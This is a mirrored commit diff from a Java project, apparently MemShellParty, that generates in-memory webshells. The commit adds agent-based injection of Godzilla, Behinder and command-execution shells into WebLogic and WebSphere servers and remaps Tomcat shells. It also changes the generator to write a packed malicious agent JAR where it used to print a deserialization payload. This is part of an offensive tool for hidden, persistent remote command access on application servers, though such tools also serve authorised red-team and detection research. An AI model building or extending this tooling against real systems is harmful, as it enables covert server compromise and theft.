mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 07:00:43 +08:00
feat: support was and weblogic agent shell
This commit is contained in:
@@ -1,6 +1,8 @@
|
||||
package com.reajason.javaweb;
|
||||
|
||||
import com.reajason.javaweb.memshell.AbstractShell;
|
||||
import com.reajason.javaweb.memshell.JettyShell;
|
||||
import com.reajason.javaweb.memshell.WebLogicShell;
|
||||
import com.reajason.javaweb.memshell.config.*;
|
||||
import com.reajason.javaweb.memshell.packer.Packer;
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
@@ -10,6 +12,8 @@ import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Path;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -19,9 +23,9 @@ public class GeneratorMain {
|
||||
|
||||
public static void main(String[] args) throws IOException {
|
||||
ShellConfig shellConfig = ShellConfig.builder()
|
||||
.server(Server.Apusic)
|
||||
.shellTool(ShellTool.Godzilla)
|
||||
.shellType(Constants.SERVLET)
|
||||
.server(Server.Jetty)
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(JettyShell.AGENT_HANDLER)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.debug(true)
|
||||
.build();
|
||||
@@ -39,12 +43,12 @@ public class GeneratorMain {
|
||||
|
||||
InjectorConfig injectorConfig = new InjectorConfig();
|
||||
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, godzillaConfig);
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, commandConfig);
|
||||
if (generateResult != null) {
|
||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
System.out.println(Packer.INSTANCE.Deserialize.getPacker().pack(generateResult));
|
||||
// System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
Files.write(Path.of("target.jar"), Packer.INSTANCE.AgentJar.getPacker().packBytes(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.TomcatFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderValve;
|
||||
@@ -10,12 +11,12 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.behinder.TomcatFilterChainBehinderAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.CommandWebSocket;
|
||||
import com.reajason.javaweb.memshell.tomcat.command.TomcatFilterChainCommandAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.tomcat.godzilla.TomcatFilterChainGodzillaAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.tomcat.injector.*;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
@@ -45,8 +46,8 @@ public class TomcatShell extends AbstractShell {
|
||||
Map.entry(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class)),
|
||||
Map.entry(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||
Map.entry(JAKARTA_VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class)),
|
||||
Map.entry(AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainCommandAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(AGENT_JAKARTA_FILTER_CHAIN, Pair.of(CommandFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)),
|
||||
Map.entry(WEBSOCKET, Pair.of(CommandWebSocket.class, TomcatWebSocketInjector.class))
|
||||
);
|
||||
}
|
||||
@@ -62,8 +63,8 @@ public class TomcatShell extends AbstractShell {
|
||||
JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainGodzillaAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
AGENT_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(GodzillaFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -78,8 +79,8 @@ public class TomcatShell extends AbstractShell {
|
||||
JAKARTA_LISTENER, Pair.of(BehinderListener.class, TomcatListenerInjector.class),
|
||||
VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
JAKARTA_VALVE, Pair.of(BehinderValve.class, TomcatValveInjector.class),
|
||||
AGENT_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(TomcatFilterChainBehinderAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
AGENT_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class),
|
||||
AGENT_JAKARTA_FILTER_CHAIN, Pair.of(BehinderFilterChainAdvisor.class, TomcatFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -12,6 +15,7 @@ import com.reajason.javaweb.memshell.weblogic.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicFilterInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicListenerInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletInjector;
|
||||
import com.reajason.javaweb.memshell.weblogic.injector.WebLogicServletStubAgentInjector;
|
||||
import org.apache.commons.lang3.tuple.Pair;
|
||||
|
||||
import java.util.Map;
|
||||
@@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
* @since 2024/12/24
|
||||
*/
|
||||
public class WebLogicShell extends AbstractShell {
|
||||
public static final String AGENT_SERVLET_STUB = AGENT + "ServletStub";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getBehinderShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(BehinderServlet.class, WebLogicServletInjector.class),
|
||||
FILTER, Pair.of(BehinderFilter.class, WebLogicFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class)
|
||||
LISTENER, Pair.of(BehinderListener.class, WebLogicListenerInjector.class),
|
||||
AGENT_SERVLET_STUB, Pair.of(BehinderFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -37,7 +44,8 @@ public class WebLogicShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, WebLogicServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, WebLogicFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class)
|
||||
LISTENER, Pair.of(CommandListener.class, WebLogicListenerInjector.class),
|
||||
AGENT_SERVLET_STUB, Pair.of(CommandFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -46,7 +54,8 @@ public class WebLogicShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(GodzillaServlet.class, WebLogicServletInjector.class),
|
||||
FILTER, Pair.of(GodzillaFilter.class, WebLogicFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class)
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebLogicListenerInjector.class),
|
||||
AGENT_SERVLET_STUB, Pair.of(GodzillaFilterChainAdvisor.class, WebLogicServletStubAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,5 +1,8 @@
|
||||
package com.reajason.javaweb.memshell;
|
||||
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaFilterChainAdvisor;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderFilter;
|
||||
import com.reajason.javaweb.memshell.shelltool.behinder.BehinderServlet;
|
||||
import com.reajason.javaweb.memshell.shelltool.command.CommandFilter;
|
||||
@@ -9,6 +12,7 @@ import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaServlet;
|
||||
import com.reajason.javaweb.memshell.websphere.behinder.BehinderListener;
|
||||
import com.reajason.javaweb.memshell.websphere.command.CommandListener;
|
||||
import com.reajason.javaweb.memshell.websphere.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterChainAgentInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereFilterInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereListenerInjector;
|
||||
import com.reajason.javaweb.memshell.websphere.injector.WebSphereServletInjector;
|
||||
@@ -23,12 +27,15 @@ import static com.reajason.javaweb.memshell.config.Constants.*;
|
||||
* @since 2024/12/21
|
||||
*/
|
||||
public class WebSphereShell extends AbstractShell {
|
||||
public static final String AGENT_FILTER_MANAGER = AGENT + "FilterManager";
|
||||
|
||||
@Override
|
||||
protected Map<String, Pair<Class<?>, Class<?>>> getCommandShellMap() {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(CommandServlet.class, WebSphereServletInjector.class),
|
||||
FILTER, Pair.of(CommandFilter.class, WebSphereFilterInjector.class),
|
||||
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class)
|
||||
LISTENER, Pair.of(CommandListener.class, WebSphereListenerInjector.class),
|
||||
AGENT_FILTER_MANAGER, Pair.of(CommandFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -37,7 +44,8 @@ public class WebSphereShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(GodzillaServlet.class, WebSphereServletInjector.class),
|
||||
FILTER, Pair.of(GodzillaFilter.class, WebSphereFilterInjector.class),
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class)
|
||||
LISTENER, Pair.of(GodzillaListener.class, WebSphereListenerInjector.class),
|
||||
AGENT_FILTER_MANAGER, Pair.of(GodzillaFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
|
||||
@@ -46,7 +54,8 @@ public class WebSphereShell extends AbstractShell {
|
||||
return Map.of(
|
||||
SERVLET, Pair.of(BehinderServlet.class, WebSphereServletInjector.class),
|
||||
FILTER, Pair.of(BehinderFilter.class, WebSphereFilterInjector.class),
|
||||
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class)
|
||||
LISTENER, Pair.of(BehinderListener.class, WebSphereListenerInjector.class),
|
||||
AGENT_FILTER_MANAGER, Pair.of(BehinderFilterChainAdvisor.class, WebSphereFilterChainAgentInjector.class)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user